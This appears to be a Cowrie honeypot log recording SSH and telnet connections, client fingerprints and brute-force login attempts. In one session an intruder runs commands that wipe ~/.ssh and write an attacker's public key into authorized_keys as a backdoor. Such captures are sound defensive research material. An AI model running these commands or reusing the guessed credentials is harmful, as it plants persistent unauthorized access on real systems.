{"eventid":"cowrie.session.closed","duration":120.00262522697449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:54.246539Z","src_ip":"38.25.25.113","session":"ddcd8b4ae14a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab990790a09","protocol":"telnet","message":"New connection: 50.6.3.16:38764 (10.17.0.5:23) [session: 7ab990790a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:56.107962Z"}
{"eventid":"cowrie.session.closed","duration":30.711193084716797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:03.042006Z","src_ip":"50.6.3.16","session":"8a2d8e6e4b50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0821692943573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:04.349056Z","src_ip":"50.6.3.16","session":"d2b3b721873c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.300930976867676,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:05.440024Z","src_ip":"51.36.22.53","session":"46341eabee53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":51514,"dst_ip":"159.203.135.109","dst_port":22,"session":"021cf1d2ac59","protocol":"ssh","message":"New connection: 4.213.160.153:51514 (159.203.135.109:22) [session: 021cf1d2ac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:07.382609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:07.403880Z","src_ip":"4.213.160.153","session":"021cf1d2ac59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:07.584685Z","src_ip":"4.213.160.153","session":"021cf1d2ac59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2024","message":"login attempt [root/server@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:08.312107Z","src_ip":"4.213.160.153","session":"021cf1d2ac59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:09.507443Z","src_ip":"4.213.160.153","session":"021cf1d2ac59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.805972576141357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:11.885650Z","src_ip":"50.6.3.16","session":"58c05072e9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.252704858779907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:12.716367Z","src_ip":"50.6.3.16","session":"5ab8fd7a20f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079496145248413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:20.026606Z","src_ip":"50.6.3.16","session":"5539f4212db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16679096221924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:27.274571Z","src_ip":"50.6.3.16","session":"7ab990790a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45838,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2b234b6d05","protocol":"telnet","message":"New connection: 50.6.3.16:45838 (10.17.0.5:23) [session: 2f2b234b6d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:29.709624Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41012,"dst_ip":"10.17.0.5","dst_port":23,"session":"fff1d832699b","protocol":"telnet","message":"New connection: 50.6.3.16:41012 (10.17.0.5:23) [session: fff1d832699b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:25:44.653662Z"}
{"eventid":"cowrie.session.closed","duration":30.926791667938232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:00.636430Z","src_ip":"50.6.3.16","session":"2f2b234b6d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":37914,"dst_ip":"159.203.135.109","dst_port":22,"session":"070224ae2af3","protocol":"ssh","message":"New connection: 4.213.160.153:37914 (159.203.135.109:22) [session: 070224ae2af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:05.163068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:05.167547Z","src_ip":"4.213.160.153","session":"070224ae2af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:05.356930Z","src_ip":"4.213.160.153","session":"070224ae2af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1","message":"login attempt [testuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:06.124755Z","src_ip":"4.213.160.153","session":"070224ae2af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:07.313141Z","src_ip":"4.213.160.153","session":"070224ae2af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.087839126586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:15.741387Z","src_ip":"50.6.3.16","session":"fff1d832699b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"385f981fc11e","protocol":"telnet","message":"New connection: 50.6.3.16:34908 (10.17.0.5:23) [session: 385f981fc11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:34.845031Z"}
{"eventid":"cowrie.session.closed","duration":120.00256395339966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:43.210247Z","src_ip":"38.25.25.113","session":"7a918e1f12ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46854,"dst_ip":"10.17.0.5","dst_port":23,"session":"7abe7a76f8b3","protocol":"telnet","message":"New connection: 50.6.3.16:46854 (10.17.0.5:23) [session: 7abe7a76f8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:44.792815Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6881bce5ec6","protocol":"telnet","message":"New connection: 50.6.3.16:38464 (10.17.0.5:23) [session: a6881bce5ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:52.011863Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd027b787fd6","protocol":"telnet","message":"New connection: 50.6.3.16:38480 (10.17.0.5:23) [session: fd027b787fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:26:57.032876Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":51094,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f19b4d8ee04","protocol":"ssh","message":"New connection: 4.213.160.153:51094 (159.203.135.109:22) [session: 9f19b4d8ee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:01.453564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:01.539363Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:01.729934Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"tft105","message":"login attempt [oracle/tft105] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:02.488116Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:02.919070Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:02.922911Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:02.927083Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.120630Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.536781Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.540063Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.742805Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.746943Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":51110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0054c893a63e","protocol":"ssh","message":"New connection: 4.213.160.153:51110 (159.203.135.109:22) [session: 0054c893a63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.924254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:03.929601Z","src_ip":"4.213.160.153","session":"0054c893a63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:04.114672Z","src_ip":"4.213.160.153","session":"0054c893a63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51944,"dst_ip":"10.17.0.5","dst_port":23,"session":"9288232862b1","protocol":"telnet","message":"New connection: 50.6.3.16:51944 (10.17.0.5:23) [session: 9288232862b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:04.807677Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:04.883044Z","src_ip":"4.213.160.153","session":"0054c893a63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:06.071031Z","src_ip":"4.213.160.153","session":"0054c893a63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":51126,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd72cb07d4e3","protocol":"ssh","message":"New connection: 4.213.160.153:51126 (159.203.135.109:22) [session: bd72cb07d4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:06.251031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:06.258861Z","src_ip":"4.213.160.153","session":"bd72cb07d4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58182191848755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:06.426742Z","src_ip":"50.6.3.16","session":"385f981fc11e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:06.442187Z","src_ip":"4.213.160.153","session":"bd72cb07d4e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:07.208588Z","src_ip":"4.213.160.153","session":"bd72cb07d4e3","protocol":"ssh"}
